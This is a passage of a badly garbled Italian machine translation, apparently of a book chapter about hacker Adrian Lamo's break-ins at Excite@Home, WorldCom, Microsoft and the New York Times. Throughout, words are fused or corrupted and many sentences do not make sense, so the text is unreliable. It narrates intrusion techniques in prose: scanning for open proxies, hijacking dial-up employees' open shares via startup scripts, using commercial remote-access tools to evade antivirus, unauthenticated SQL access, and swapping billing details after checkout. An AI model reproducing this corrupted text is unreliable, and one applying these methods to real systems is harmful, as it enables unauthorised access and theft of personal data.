molti modi le persone possono incidere, anche salgermesso della "vittima". Alcuni
scientemente violare la legge, ma non sono maireditt Alcuni corrono il rischio e
servire il carcere. Praticamente tutti nasconderorb identita dietro un moniker -
la versione online di un soprannome.
Poi ci sono i pochi come Adrian Lamo, che incidegaza mascheramento
la loro identita e quando trovano una falla neltair®ezza di qualche organizzazione,
dire loro su di esso. Questi sono il Robin Hoolattking. Dovrebbero
non essere incarcerato, ma celebrato. Aiutanoiémde svegliano prima
un hacker del tipo maligno fa il danno grave s@ciet
L'elenco delle organizzazioni che il governo fetketice Adrian Lamo
ha violato in €, a dir poco, impressionante. Esstude Microsoft,
Yahoo !, MCI WorldCom, Excite @ Home, e le compagtalefoniche SBC,
Ameritech, e Cingular.
1
E il venerabileNew York Times
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Va bene, si, Adrian ha soldi compagnie di costonoracosi tanto
soldi come i pubblici ministeri ha sostenuto.
Salvataggio
Adrian Lamo non era una tipica "facciamo appendigve al centro commerciale" tipo di
adolescente.
Una notte, per esempio, lui e gli amici sono stafilorando un grande ab-
doned complesso industriale situato su alcune leadehfiume. Senza particolare
ordine del giorno in mente, hanno vagato attravarseasto impianto decrepito e rapidamente
si perse. Erano circa le due del mattino primaalidre la loro strada
fuori dal labirinto. Mentre attraversavano unaéirferroviaria defunto accanto tomba-
pietre di macchinari industriali ruggine, Adriam#ieono deboli grida. Anche se
I suoi amici volevano solo per uscire da li, lai@sita di Adrian € stato suscitato.
Seguendo il suono lamentoso lo ha portato ad ubitamsporco. Il
luce debole era sufficiente solo per vedere neireo@ssi oscuri, dove un minuscolo Kit-
dieci e stato intrappolato in fondo, miagolandotpéo il suo valore.
Adrian chiesto assistenza elenco sul suo telefefiolare per il numero di
il dipartimento di polizia. Proprio allora riflettiodi un incrociatore della polizia accecato la

gruppo.



| ragazzi erano vestiti in quello che Adrian degertome "esplorazione urbana
gear - sapete, guanti e sporco over-abiti. Napal di abbigliamento

che ispira fiducia e buona volonta con le forzé'ateline. "Adrian anche

ritiene che da adolescente, ha guardato un poetosp, e "Potremmo

0 non puo aver avuto su di noi cose che potrebi@noo causato l'arresto ", ha
dice. Opzioni correvano nella testa di Adrian; pateo sottoporsi a un lungo
serie di domande e possibile arresto, eseguireua piano venne a lui.

Li ho lanciati giu e dissi: "Ehi, c'e questo gatiinel

tombino. Potrei certo usare il vostro aiuto. "F&sirward due ore

piu tardi, nessuno di noi € stato cercato - le ggtanze sospette

dimenticato.

Due auto della polizia e un veicolo di controllgtl@nimali in seqguito, il bedrag-
Gled gattino stato sollevato per la sicurezza ia nate al termine di un lungo bastone. Il
la polizia ha dato il gattino di Adrian, che lo poa casa, ripulito tutto, e

chiamo "Alibi." | suoi amici la chiamavano "Drano."

Piu tardi, Adrian riflette sull'incontro. Come qoaho che non lo fa

credere in un caso, e certo che tutti erano sattamente dove

dovevano essere al momento. Egli vede la sua "tj@asiendente”

computer presenta allo stesso modo: non ci songdent.

E 'interessante il fatto che Adrian vede ancheda&ggattino come un parallelo
cio che gli hacker fanno. Parole come "adattatsiiprovvisare" e "intuizione" arrivano
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a mente, tutti gli ingredienti fondamentali per aB@re con successo le numerose trappole
e vicoli ciechi in agguato nelle strade e vicolsfasiori del Web.
Roots
Nato a Boston, Adrian trascorso gran parte delaiisianzia muoversi New
Inghilterra prima che la famiglia si stabili a Wasdton, DC. Il padre, originario
Colombiano, scrive racconti per bambini e lo fagspdo tradu- / Inglese
zioni; Adrian lui un filosofo naturale nato consideSua madre
insegnato inglese ma ora gestisce la casa. "Hasato per portarmi a
raduni politici quando ero un ragazzino. Mi hanotlevato a mettere in discussione quello che
vedere intorno a me e cercato di allargare i migzonti .
Adrian non si sente che si inserisce un profilo dgrafico specifico, anche se
che vede la maggior parte hacker come cadere iche@gli chiama "bianco-pane a medio
classe ". Una volta ho avuto l'onore di incontiagenitori e sentito da loro
che uno dei motivi per il loro figlio si e coinvbih I'hacking era perché lui
avuto diversi hacker preferiti che lo hanno isgirdon e stato menzionato, ma
Ho l'impressione di Adrian che uno di quegli indwi potrebbero avere
me stato. | suoi genitori, probabilmente volevasteere il mio collo.
All'eta di sette anni, Adrian ha cominciato a sehee sul computer di suo padre,
un Commodore 64. Un giorno é diventato frustrato @e'avventura testo
gioco stava cercando di giocare. Ogni opzione sawabportare ad un vicolo cieco.
Ha scoperto che durante il caricamento di un pragra sul computer, e prima
eseguire il comando Esegui, c'era un modo che smissuire il com-
computer per generare un elenco di codice sorghigioco. L'elenco ha rivelato
le risposte che cercava e lui prontamente ha Vanpartita.
E 'ben noto che la prima un bambino comincia a mnamgauna lingua straniera,
il piu naturalmente lui o lei acquista esso. Adip@msa lo stesso vale



di iniziare presto su un computer. Egli teorizzeagione pud essere che

il cervello deve ancora diventare "cablata”, corele neurale piu mal-

leable, piu veloce per acquisire e accogliereudilg che sara in eta adulta.
Adrian e cresciuto immerso nel mondo dei compwiederli come

estensione della realta e quindi facilmente maalptg. Per lui un com-
computer non era qualcosa di una lettura su o wessgra lungo manualmente
als per capire. Non era un dispositivo esterno,ecamfrigorifero o un

auto, ma una finestra - in se stesso. Decise gamamente

informazioni elaborate il modo in cui un computetes suoi programmi interni fanno.
Midnight Incontri

Tra i sistemi informatici aziendali Adrian ha ingigel, considera

Excite @ Home sua ultima esperienza di "cappa éaspéa’'epica

iniziato per un capriccio, quando qualcuno gli rgygontrollare iIHome
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site. Come la stanza di compensazione per t#tmMmaA Internet via cavo in ltalia
Uniti, Adrian era sicuro che era ben protetto e wamebbe la pena il suo
tempo. Ma se avesse potuto incidere con successgliravrebbe avuto accesso a chiave
informazioni su ogni utente cavo nel paese.
Gli hacker stanno scoprendo in questi giorni che@puod essere sorprendentemente help-
ful per scoprire possibili obiettivi di attacco eridelare informazioni utili
su di loro. Adrian prende il via un sacco di susunsioni di hacking da googling un set
di parole chiave che spesso portano a siti corchaalifetto nella loro configurazione.
Cosi ha inserito il suo computer portatile a uresgardi rete aperta nello studente
salone di una universita di Philadelphia e chianiatéeb Excite @ Home
pagina. La sala studenti era una specie familisiragbstazione per lui: Qualsiasi LOCA-
zione utilizzato da un sacco di persone, o un coigaibblico di Internet, oppure un wireless aperta
Punto di accesso - di collegamento online da luoghe questi fornisce un facile,
modo efficace per un hacker per mascherare laasiaipne. Scoprire il
vera identita di qualcuno che utilizza in modo edsu punti di accesso pubblici a Internet
e estremamente difficile.
Mentalita di Adrian € quello di ottenere nei praieti pensiero della persona che
progettato il programma o la rete che sta attacgamshndo la sua conoscenza della
I modelli e le pratiche standard che gli architdttiete comunemente usano
come la sua stampella iniziale. Lui € abbastania alsfruttare procura mal configurato
Server - Sistemi informatici dedicati che passam@ffico tra l'inter-
reti "non attendibili" come la rete Internet naldl @roxy
esamina ogni richiesta di connessione in baseetjele che e stato dato.
Quando un amministratore di rete pasticci il compitconfigurare il com-
i server proxy di aziendali, chiunque puo collegalproxy possono essere in grado
a tunnel fino alla rete interna apparentementeaidella societa.
Per un hacker, un tale proxy aperto e un invitoayihm perché
gli permette di apparire come se avesse origireste come qualsiasi legittima
societa dipendente: dall'interno propria rete atasm
Da quella sala studenti universitari, Adrian scaprimisconfig-
rato procura che ha aperto la porta alle pagine Wtebne per vari
dipartimenti di Excite @ Home. Nella sezione Guiilano, ha pubblicato
una domanda sulla registrazione problemi. La ritgpolse € tornato foro
I'indirizzo URL di una piccola parte del sistemagpettato per facilitare resolv-



ing problemi IT. Analizzando questo URL, e statgrado di accedere ad altri divisione
sioni della societa che ha utilizzato la stessadiegia. Non e stato chiesto

per l'autenticazione: Il sistema era stato protge#al presupposto che

chi sapeva per richiamare indirizzi a queste phattimosto sito Web

essere un dipendente o altra persona autorizzaia premessa cosi traballante wide
diffuso che ha un soprannome, "sicurezza attrav@rscourita."

Per il prossimo passo, ha visitato un sito popatareesploratori cyberspazio,
Netcraft.com. Adrian € entrato a caso i nomi di geonparziali, come ad esempio
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Netcraft ha restituito un elenco di Excite @ semégrni, mostrando loro come Solaris
macchine in esecuzione il software del server Weache.
Come esplorato Adrian, ha scoperto che la retendale operazione
Centro le ha offerto un sistema di supporto tecameettati autorizzato
dipendenti di leggere i dettagli dei clienti chehiedono assistenza - "Aiuto! lo
non possono accedere al mio account ", o quaksii@aicosa. Il lavoratore a volte
chiedere al cliente di fornire il proprio nome utee password - sicuro
abbastanza perché questo era tutto dietro il fiteazgendale; informazioni
dovrebbe essere incluso nella risoluzione dei prabl
Che Adrian trovo fu, dice, "aprire gli occhi". Istri
Biglietti inclusa quella contenevano login e passiyoer depositaria
tomers, dettagli sul processo di trattamento treticket, e com-
denunce da parte degli utenti interni su problerarmatici erano stati
avendo. Ha anche trovato uno script per la genamaaii un "cookie di autenticazione™
che permetterebbe un tecnico di autenticarsi camésigsi titolare del conto, a
risolvere un problema senza richiedere la passaerdliente.
Una nota su un biglietto attiro I'attenzione di iagdr Essa ha mostrato il caso di
un cliente che piu di un anno prima aveva chiesttmaon riferimento
mento alle informazioni personali, compresi i nuindiecarte di credito rubate, da
qualcuno su un servizio di Internet Relay Chatnbta interna ha dichiarato
che i "tecnici” (tecnici) ha deciso che non edaiib problema e non ha
briga di rispondere. In sostanza soffio il poveagazzo fuori. Fingendosi un
tecnico dell'azienda, Adrian chiamo lI'uomo a cadasge: "Ehi, io sono
in realta non dovrei lavorare questo biglietto,ena curioso di sapere se avete mai
ha ottenuto una risposta da noi ". L'uomo ha dgteonon aveva mai sentito una sola parola.
Adrian prontamente lo ha trasmesso la rispostattare tutto il interno
documentazione e discussione per quanto riguasieibiglietto irrisolto.
Ho avuto un senso di soddisfazione per quello,hgeio voglio credere
in un universo in cui qualcosa di cosi improbalutene avere il vostro
banca dati rubati da qualcuno su Internet Relay G essere
ha spiegato un anno dopo da un intruso che ha comesso la
azienda che prima di fiducia per aiutarvi.
In questo periodo, il proxy aperto che gli avevtbdacesso fermato
lavoro. Non era sicuro perché, ma non poteva plitaen Ha iniziato
in cerca di un altro modo. L'approccio € venuto eam nel suo
parole, "totalmente nuovi."
Il suo primo punto d'appoggio e venuto dal fareatié € chiamato ueverse DNS lookup
utilizzando un indirizzo IP per scoprire corrispente hostname. (Se si immette
una richiesta nel browser per accedere al sitovpev.defensivethinking.



com, la richiesta va in un Domain Name Server (QNB¢ si traduce

il nome in un indirizzo che puo essere utilizzaidrgernet per instradare il
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richiesta, in questo caso 209.151.246.5. La taftdréan stava usando rovesci
guesto processo: L'attaccante entra in un indifi2z® viene fornito il
nome di dominio del dispositivo che l'indirizzo apiene a.)
Aveva molti indirizzi di passare attraverso, la miag parte dei quali forniti nien- te
ing di interesse. Alla fine, pero, ha trovato uoa cin nome nella forma
di dialup00.corp.home.net, e molti altri che iniaidche "dialup”.
Ha assunto questi host sono stati utilizzati daeddenti in viaggio, per la selezione
alla rete aziendale.
Scopri presto che questi numeri dial-up sono staitzzati da
dipendenti ancora lavorando su computer con verpi@tcedenti del OPERATE
si- stema - versioni antiche come Windows 98. Etindel dial-
gli utenti up avevanoondivisioni aperte che ha permesso l'accesso remoto ad alcuni
directory o l'intero disco rigido, senza la passwdirlettura o scrittura.
Adrian si rese conto che avrebbe potuto apportaxdifiohe al sistema operativo
script di avvio per la copia dei file alle aziom,modo che sarebbe eseguire comandi
di sua scelta. Dopo aver scritto piu di particoféei di avvio con la propria ver-
Sion, sapeva che avrebbe dovuto aspettare finamdgul sistema e stato riavviato prima
I suoi ordini sarebbero stati giustiziati. Ma Adrisa essere paziente.
La pazienza alla fine ha pagato, e Adrian passdfadle successiva:
I'installazione di un Trojan di accesso remoto'RAT"). Ma per fare questo, non lo fa
raggiungere per qualsiasi dei Troiani di hackelugygiato comunemente disponibili, la
tipo altri intrusi utilizzano per scopi dannosprbgrammi antivirus, in modo
molto popolare in questi giorni, sono progettati peonoscere backdoor comune
e programmi Trojan, e mettere in quarantena imnta&csiente. Come un modo per aggirare
questo, Adrian trova uno strumento legittimo preagetper I'utilizzo da parte della rete e I'impa@nt
Gli amministratori di tem - commerciale softwarenggo di amministrazione,
quale modifica leggermente quindi € invisibileuaénte.
Mentre i prodotti antivirus cercano i tipi di sofive di accesso remoto
conosciuto per essere utilizzato con la metropwifaacker, essi non cercano
software di accesso remoto sviluppato da altri CAMdftware commerciale
Nies, sul presupposto che questi prodotti vengditiaaati legittimamente
(E anche, suppongo, perché l'azienda DevelopaeradtX potrebbe
causa se il software antivirus considerato il stoalptto come dannoso e bloccato
ess0). Personalmente credo che questo sia unaaadtg; i prodotti antivirus dovrebbero
avverte l'utent@gni prodotto che potrebbero essere utilizzati malemosnte e lasciare che il
all'utente di decidere se e stato legittimamergtaltato. Approfittando
di questa scappatoia, Adrian & spesso in gradtstiillare RAT "legittimi”
che sovvertono l'individuazione di programmi amtigl
Una volta che aveva installato la RAT sulHome dgmatie del
informatica, esegui una serie di comandi che gfoh@ito informazioni
zione sulle connessioni di rete attive ad alttiesis informatici. Uno
di questi comandi, "netstat," gli mostro l'attiviterete di un
dipendente che era in quel momento attualmentegatib alHome
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intranet per dial-in, e rivelate sistemi quali cargy nel interna
rete aziendale la persona stava usando in quel ntome
Al fine di mostrare un campione dei dati restitdii netstat, ho eseguito il pro-
gram per esaminare il funzionamento della mia maegln parte, I'uscita
lista si presentava cosi:
C: \ Documents and Settings \ ospite> netstat -a
Connessioni attive
Proto Indirizzo locale Indirizzo esterno
Stato
TCP lockpicker: 1411 64.12.26.50:5190
ISTITUITO
TCP lockpicker: 2842 catlow.cyberverse.com:22
ISTITUITO
TCP lockpicker: 2982 www.kevinmitnick.com:http
ISTITUITO
Il "Local Address" riporta il nome della macchiméle ("lockpicker" era
al momento il nome che stavo usando per il mio ade) e il numero di porta
tale macchina. Il "Indirizzo esterno" indica il nerhost o IP
il computer remoto, e il numero della porta a eucbnnessione e stata
fatta. Ad esempio, la prima riga del rapporto iadite il computer
ha stabilito una connessione a 64.12.26.50 sulia 390, la porta com-
comunemente usato per AOL Instant Messenger. "Stada lo stato della
Collegamento - "stabilito” se la connessione &atti
"Ascolto" se la macchina locale € in attesa di coranessione in entrata.
La riga successiva, compresa la voce "catlow.cyyse/com,” fornisce
il nome host del sistema informatico che ero caite@. Sul
ultima riga, la voce "www.kevinmitnick.com:http"dita che ero
attivamente collegato al mio sito web personale.
Il proprietario del computer di destinazione, namegessario per eseguire i servizi
sulle porte comunemente noti, ma puo configuracernhputer per I'utilizzo non
porte standard. Ad esempio, HTTP (server Web)selitio eseguito su
porta 80, ma il proprietario pud cambiare la sitoae di eseguire un server Web su qualunque
porta lui o lei sceglie. Elencando le connessid@iPdei dipendenti,
Adrian ha scoperto cheHome dipendenti sono staibdnessione ai server Web su
porte non standard.
Da informazioni di questo tipo, Adrian e stato madp di ottenere gli indirizzi IP per
macchine interne da esplorare per sensibiliHomeaanaaziendale
zioni. Tra le altre gemme, ha trovato un databasewi, e-malil
indirizzi, numeri di serie di modem via cavo, gldirizzi IP attuali, anche quello
computer di sistema operativo del cliente e stagmalato come in esecuzione, per
ciascuno di circa 3 milioni di abbonati a bandgdadella societa.
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Questo era "un tipo esotico di attacco" nella desere di Adrian, perché
ha coinvolto dirottamento di un collegamento da selazione dei dipendenti fuori sede in
la rete.
Adrian considera un processo abbastanza semplicEspere attendibile da una rete.
La parte difficile - che ha preso un mese di tevitat errori - era com-



accumulando una mappa dettagliata della reteutti@ le diverse parti sono, e
come si riferiscono 'uno all'altro.

L'ingegnere di rete di piombo per Excite @ Homéadosun uomo Adrian aveva alimentato
informazioni in passato e sentito ci si potevargd@®eviando dalla

il suo schema abituale di utilizzare un intermadiger passare informazioni ad un com-
societa che aveva penetrato, ha chiamato l'ingegfiesttamente e ha spiegato che
aveva scoperto alcune debolezze critiche nellaaatndale. Il

ingegnere accettato di incontrare, nonostante tayda che Adrian proposto.

Si sedettero insieme a mezzanotte.

"Gli ho mostrato alcuni dei documenti che avevauanglato. Chiamo

il loro ragazzo di sicurezza e lo abbiamo incootadt[Excite @ Home] campus
intorno alle 4:30 del mattino. "I due uomini passar ma- di Adrian

als e lo interrogo su esattamente come si erairotiterso le sei

al mattino, quando sono stati finendo, Adrian hiéodehe gli piacerebbe vedere

il server proxy effettivo che era stato quello elweva usato per ottenere l'accesso.
Abbiamo rintracciato giu. E mi hanno detto, "Comsi¢uro

guesta macchina? "

Adrian sapeva gia il server non e stato utilizzsgo qualsiasi funzione cruciale
zione, che era solo un sistema casuale.

Ho tirato fuori il mio coltellino, uno di quelli sggianti poco con una sola mano
apriscatole. E ho appena andato avanti e taglidi@avo e disse: "Ora

la macchina e sicura. "

Hanno detto: "Questo e abbastanza buono." L'ingeggha scritto una nota

e incollato alla macchina. La nota ha detto, "Nadattaccare".

Adrian aveva scoperto accesso a questa grandedazieme risultato di una singola
macchina che era probabilmente da tempo cessaiek una funzione necessaria, ma
nessuno aveva mai notato o preoccupato di rimuodalla rete. "Qualsiasi

societa, "Adrian dice," avra solo tonnellate di staoe seduti attorno, ancora
collegato ma non in uso. "Ognuno & un potenziakeekk-in.

MCI WorldCom

Come lui ha con tante altre reti prima, era ancoi@avolta da

attaccando i server proxy che Adrian trovato lexehdi WorldCom
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regno. Ha iniziato la ricerca utilizzando il sucughento preferito per navigare com-
puter, un programma chiamato ProxyHunter, che iddevi server proxy aperti.
Con gquello strumento che va dal suo computer plertata scansionato corporate di WorldCom
tasso di spazio di indirizzi Internet, identificandhpidamente cinque proxy aperti - un
nascosto in bella vista in un URL che termina caonv.com. Da li,
solo bisogno di configurare il suo browser perzgare una delle deleghe e lui
potrebbe navigare rete privata di WorldCom steas#ith con cui qualsiasi dipendente.
Una volta dentro, ha trovato altri livelli di si@aza, con le password richieste
per I'accesso a numerose pagine Web Intranet. Alpersone, sono sicuro, trovera
e sorprendente come paziente un attaccante conenAgldisposto ad essere, e come
molte ore che sono disposti a dedicare nello sfdeterminato a con-
guer. Due mesi dopo, Adrian finalmente ha comincstarsi strada.
Aveva ottenuto l'accesso al sistema di risorse endakVorldCom, dando
lui nomi e corrispondenti numeri di previdenza ateper tutti della societa
86.000 dipendenti. Con queste informazioni e la danascita di una persona (lui



giura per anybirthday.com), ha avuto la possibditéeimpostare un dipendente del
password e di accedere ai libri paga, compresgdennazioni

come stipendio e di emergenza contatti. Potevaeaacer modificato la diretta
istruzioni di deposito bancari, stipendi devian@o molti dipendenti a

proprio conto. Egli non fu tentato, ma ha ossereé® "un sacco di gente

sarebbe disposto a soffiare citta per un paio mlicaia di migliaia di dollari. "
All'interno Microsoft

Al momento della nostra intervista, Adrian eratiesa di condanna su una varieta
delle spese per computer; aveva una storia damtgeoun episodio che non aveva
stato accusato di, ma che e stato comunque inokig®informazioni

rilasciato dal procuratore federale. Non volendergwali oneri aggiuntivi a quelli
gia sulla lista del pubblico ministero, si sentdimvere di essere prudenti in
raccontandoci una storia di Microsoft. Tongue saleiate in guancia, ha spiegato:
Posso dirvi cid che & stato affermato. E statorafégo che non vi & stato un

pagina web che ho scoperto che avrebbe presumibikechiesto alcun
autenticazione, ha avuto alcuna indicazione cherlermazioni erano]

proprietaria, aveva assolutamente nulla, tranne pemenu di ricerca.

Anche il re di aziende di software non sempre it suo calcolatore

diritto di garanzia.

L'immissione di un nome, Adrian "presumibilmente$e conto che aveva i dettagli di un
ordine online del cliente. Il governo, dice Adridwa descritto il sito

come la memorizzazione di acquisto e informaziospedizione su tutti quelli che aveva mai
ordinato un prodotto online dal sito Web di Micrtise anche contenitori

ing voci sugli ordini in cui era stato rifiutato éarte di credito. Tutto questo
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sarebbe imbarazzante se le informazioni mai reg@odibili sario tuttora
al di fuori della societa.
Adrian ha dato i dettagli della violazione dellawsezza di Microsoft a un giornalista che
fiducia alWashington Postil suo solito condizione che nulla avrebbe
pubblicato fino a quando la violazione era statwetto. Il giornalista riferi
| dettagli a Microsoft, dove la gente non ha appaéz I'apprendimento
del break-in. "Microsoft in realta voleva sporgdenuncia,” Adrian
dice. "Ci hanno fornito un grande danno figuraraUWattura per 100.000 dollari"
Qualcuno alla societa puo poi aver avuto ripensdrsalta
materia. Adrian e stato successivamente detto ¢bebbft aveva "perso la
fattura. "L'accusa del break-in e rimasta una paetelisco,
ma senza importo in dollari collegato. (A giudicded giornale di
archivi online, i redattori dgdostnon consideravano l'incidente di essere
notizia, nonostante Microsoft sia il bersaglio enostante il ruolo di
uno dei loro giornalisti in questa storia. Cheatchiedere.)
Un eroe ma non un santo:
Il New York Times Hack
Adrian leggeva iNew York Timesito Web, un giorno, quando ha Sud-
Denly avuto "un lampo di curiosita” sul fatto chetngbbe essere in grado di trovare un
modo di fare irruzione in rete di computer del gade. "Ho gia avuto
accesso alVashington Post, Ha detto, ma ha ammesso che lo sforzo era
non fosse stato fruttuoso: Egli "non ha trovatdandl molto interessante."
La tempisembrava come se volesse rappresentare unargidaa, dal momento che



era probabilmente diventato pungente in materg@catirezza a seguito di una molto pub-

lic e mod imbarazzante qualche anno prima, quandgruppo chiamato HFG

("Hacking per Girlies") deturpato il loro sito Wedlkdefacer criticato

Timestecnologia scriba John Markoff per le storie cheva scritto

su di me, storie che hanno contribuito al mio duattamento da parte del

Dipartimento di Giustizia.

Adrian e andato online e ha cominciato ad esplotarprimo luogo ha visitato il sito Web

e rapidamente scoperto che e stata esternalizeatayspitato dalempisé

ma da un ISP esterno. Questa & una buona praticau@eiasi azienda: Significa

che un successo break-in al sito Web non da ace¢ssorispondente

rete porate. Per Adrian, significava che avrebbaittolavorare un po 'piu difficile

trovare un modo.

"Non c'e lista di controllo per me", dice Adrian dao approccio al break-

ins. Ma "quando sto facendo una ricognizione, gn#o a raccogliere informazioni da
interrogazione altre fonti. "In altre parole, egtin inizia da immediato

diatamente sondare il sito Web della societa chatsaccando, dal momento che questo potrebbe
creare un itinerario di controllo che pud portaraubvo a lui. Invece, prezioso

strumenti di ricerca sono disponibili, gratuitanmeerresso la American Registry for Internet
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Numbers (ARIN), un'organizzazione no-profit respaiike della gestione del
Risorse di numerazione Internet per il Nord America
Inserimento "New York Times" nella finestra di @igb Whois di arin.net porta
un elenco di dati che cercano qualcosa di simgaesto:
New York Times (NYT-3)
NEW YORK TIMES COMPANY (NYT-4)
New York Times Digital (NYTD)
New York Times Digital (AS21568) NYTD 21568
NEW YORK TIMES COMPANY NEW-YORK®84-79 (NET-12-160-73-1)
12.160.79.0 - 12.160.79.255
New York Times SBC068121080232040219 (NET-68-12128p-1)
68.121.80.232 - 68.121.80.239
New York Times Digital PNAP-NYM-NYT-RM-01 (NET-644185-0-
1) 64.94.185.0 - 64.94.185.255
| gruppi di quattro numeri separati da punti sohanglirizzi IP, che
puo essere pensato come l'equivalente Internet uhidirizzo postale di casa
numero, via, citta, e lo stato. Un profilo che mastn intervallo di indirizzi (per
esempio, 12.160.79.0 - 12.160.79.255) viene indicatme umetblock.
Ha poi fatto una ricerca porta su un intervallandirizzi appartenenti aluovo
York Timese si sedette di nuovo, mentre il programma scaagioattraverso il
indirizzi alla ricerca di porte aperte, sperande ientificare alcuni interessante
sistemi che potesse attaccare ing. Lo ha fattaniesando una serie di open
porti, ha scoperto che anche qui, sono stati diverstemi che eseguono missione
configurato proxy aperti - che gli permette di cettarsi al computer in
rete interna aziendale.
Ha interrogato del giornale Domain Name Server (RQNBerando di
trovare un indirizzo IP che non é stata esternal&ma invece interno alla
\Volte,senza successo. Avanti ha cercato di estrarie tattord DNS per il
dominio nytimes.com. Dopo aver colpito su questdaivo, cosi, € andato



torna al sito Web e questa volta ha avuto piu ssieha trovato un posto su

il sito che offriva ai visitatori pubblica un elemdegli indirizzi di posta elettronica per tuttempi
staff che erano disposti a ricevere messaggi da daf pubblico.

In pochi minuti aveva un messaggio di posta eleiteodal giornale. Non era

I'elenco di e-mail del giornalista che aveva cluest era prezioso in ogni caso. Il
intestazione sulla posta elettronica ha rivela®itmessaggio proviene dalla societa di

rete interna e ha mostrato un indirizzo IP charezdito. "La gente

non si rendono conto che anche una e-mail puoeessetatore, "Adrian sottolinea.

L'indirizzo IP interno gli ha dato una possibilesgpra. Prossimo passo di Adrian

e stato quello di iniziare a passare attraversoxypaperti che aveva gia trovato, Man-
dualmente la scansione degli indirizzi IP all'intedello stesso segmento di rete. A

rendere il processo chiaro, diciamo che l'indirizea 68.121.90.23. Mentre la maggior parte
attaccanti che fanno questo sarebbe eseguirenaisna del netblock di questo indirizzo avviando
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con 68.121.90.1 e continuando in modo incremeiat&d.121.90.254,
Adrian ha cercato di mettersi nella posizione di persona azienda IT set-
ting della rete, immaginando che la tendenza nigtdella persona sarebbe
quella di scegliere i numeri tondi. Cosi la sudipasabituale era di cominciare con la
numeri piu bassi -. .1 attraverso .10, e poi passatecine - .20, .30, e
ecc.
Non sembrava Lo sforzo a produrre molto. Ha trowetgaio di
server Web interni, ma nessuno che erano ricdnifaimazioni. Alla fine si
imbattuto un server che ha tenuto un vecchio, usagpitvolte sito intranet,
forse dismesso quando il nuovo sito é stato mespooduzione e
da allora dimenticato. Lo trovo interessante, leggatraverso di essa, e scopri
un legame che avrebbe dovuto andare in un vecihidigproduzione, ma si € rivelato
invece di portarlo ad una macchina di produziove. i
Per Adrian, questo e stato il Santo Graal. La gitre ha cominciato a guardare anche
luminoso quando ha scoperto che questa macchinanzaato materiali per la formazione
per insegnare ai dipendenti come utilizzare ilesist, qualcosa di simile a una stu-
dent sfogliando un sottile CliffsNotes per di Diok&randi speranze
invece di leggere tutto il romanzo e di lavoroolgemi da sola.
Adrian si era rotto in troppi siti per lui per seatuna particolare emozionale
zione del suo successo in questa fase, ma stasadi@@iu progressi di quanto
egli poteva aspettarsi. Ed era per cominciare me§ltopri presto
un motore di ricerca integrato per i dipendentitilizzare a trovare la loro strada in tutto il
site. "Spesso," dice, "gli amministratori di siseenon configurano queste cor-
rettamente, e permettono di fare ricerche che ti»e® essere vietate. "
E questo é stato il caso qui, fornendo cio cheakddenominato "il
colpo di grazia. "Alcuntempiamministratore di sistema aveva posto un progradiraélita in
una delle directory che permette di fare cio clehiamato urfree-form SQL
interrogazione SQL, Structured Query Language, € un linguadgsxripting per
maggior parte dei database. In questo caso, uestfandi dialogo pop-up sembrava che ha
permesso
Adrian comandi per entrare SQL senza autenticazibale significa che ha
era in grado di ricercare virtualmente qualsiasablase sul sistema ed estratto
o modificare le informazioni a piacimento.
Ha riconosciuto che il dispositivo in cui vivevangerver di posta era in esecuzione



su Lotus Notes. Gli hacker sanno che le versiosiguienti di Notes consentono a un utente
passare in rassegna tutti gli altri database susigtema, e questa parte delte

rete e stata eseguita una versione precedentgalbase Lotus Notes

Adrian aveva inciampato su di lui ha dato "la piargle emozione, perché

inclusi tutti fino ad ogni proprietario edicolaj ghporti

hanno fatto, e le loro socials ", slang per nurdeprevidenza sociale. "La

era anche informazioni abbonati, cosi come chiumtpgeaveva mai scritto

lamentarsi del servizio o fare indagini. "
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Alla domanda su quale sistema operatampicorreva, Adrian risponde
che non sa. "lo non analizzo una rete in questoofhd spiegato.
Non si tratta di tecnologia, si tratta di persond modo in cui
configurare le reti. La maggior parte delle pers@mo molto prevedibili. Spesso trovo
che le persone costruiscono reti stesso modo, piu golte.
Molti siti di e-commerce fanno questo errore. EESuUmMoONO persone
fara voci nell'ordine corretto. Nessuno si assumedlonta dell'utente
uscire di ordine.
A causa di questa prevedibilita, un attaccanteraspeo effettuare un
ordine in un sito Web on-line, passare attravdrpoocesso di acquisto al punto
dove i suoi dati sono stati verificati, quindi esieg il backup e modificare il
Informazioni di fatturazione. L'attaccante riceaenterce; qualcun altro
ottiene la carica di carta di credito. (Anche sei&u ha spiegato la procedura in
dettaglio, ha in particolare ci ha chiesto di naneduna descrizione abbastanza completa che
consentirebbe ad altri di farlo.)
Il suo punto era che gli amministratori di sistesih@utine non riescono a pensare con
la mente di un attaccante, rendendo il lavoro datimccante molto piu facile di quello che ha
bisogno di
essere. Ed e quello che spiega il suo successib0mprossimo passo a penetrare
il Tempi 'rete di computer. Il motore di ricerca interno mmvrebbe
sono stati in grado di indicizzare l'intero sita fo ha fatto. Ha trovato un programma
che ha portato un modulo SQL che gli ha permessaniirollo delle banche dati,
compresi digitando query per estrarre informaziblai.poi bisogno
per scoprire i nomi dei database su quel sistelaarieerca di quelle
che sembrava interessante. In questo modo trodatatase di grandissima
interesse: Conteneva una tabella dell'intero useerepassword lista
quello che sembrava essere ogni dipendentBel York Times
La maggior parte delle password, si & scopertmoesamplicemente le ultime quattro cifre della
numero di previdenza sociale della persona. Edeetonon si & preoccupato
utilizzando password diverse per I'accesso adametenenti particolarmente sensibili
Informazioni tiva - la stessa password dipendeatiatorato in tutto il mondo su
il sistema. E per tutto quello che sa, Adrian hthoglée password alolte
Sono 0ggi hon piu sicuro di quanto non fossero@hento del suo attacco.
Da li, sono stato in grado di accedere di nuovdankitranet e il guadagno
I'accesso alle informazioni aggiuntive. Sono statgrado di ottenere le notizie
scrivania e login come manager notizia, usandauka gassword.
Trovo un database elenca ogni persona che sidar&iati
Uniti con l'accusa di terrorismo, comprese le pegsiccui nomi non erano stati
reso pubblico. Continuando ad esplorare, si travdatabase di tutti



che avesse mai scritto un pezzo editoriale gemipi. Ammontano a migliaia
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di collaboratori e divulgati gli indirizzi, numedi telefono e rezza sociale
numeri rezza. Ha fatto una ricerca per "Kennedya ¢rovato diverse pagine di
informazioni. La banca dati di cui informazioniaintatto sulle celebrita e
personaggi pubblici che vanno dai professori dvdat a Robert Redford e
Rush Limbaugh.
Adrian ha aggiunto il proprio nome e numero diuelle (con sede in un nord-
ERN California prefisso, il numero é "505-HACK")v@amente conteggio
zione sulla carta non capire che l'elenco era giatatato i
e apparentemente sperando che qualche giornalkgized editor di pagine potrebbe essere
preso in, ha elencato i suoi settori di competearae "pirateria informatica /
sicurezza e intelligence delle comunicazioni. "
